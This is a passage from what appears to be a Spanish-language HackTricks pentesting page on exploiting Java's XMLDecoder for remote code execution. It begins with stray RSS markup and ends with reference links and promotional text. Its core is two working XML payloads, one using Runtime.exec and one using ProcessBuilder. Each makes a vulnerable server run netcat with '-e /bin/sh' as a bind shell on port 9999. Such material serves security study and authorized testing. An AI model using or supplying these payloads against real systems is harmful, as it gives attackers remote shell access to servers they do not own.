<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE to RCE
XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si un usuario malintencionado puede hacer que una aplicación utilice datos arbitrarios en una llamada al método readObject, obtendrá instantáneamente la ejecución de código en el servidor.
Utilizando Runtime().exec()
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
El ProcessBuilder
es una clase en Java que se utiliza para crear procesos nativos del sistema operativo. Permite a los desarrolladores ejecutar comandos en el sistema operativo subyacente desde una aplicación Java.
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
Herramientas
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
Más recursos
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
Extraer información a través de HTTP utilizando su propio DTD externo: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
https://gist.github.com/staaldraad/01415b990939494879b4
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
https://portswigger.net/web-security/xxe
https://gosecure.github.io/xxe-workshop/#7
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.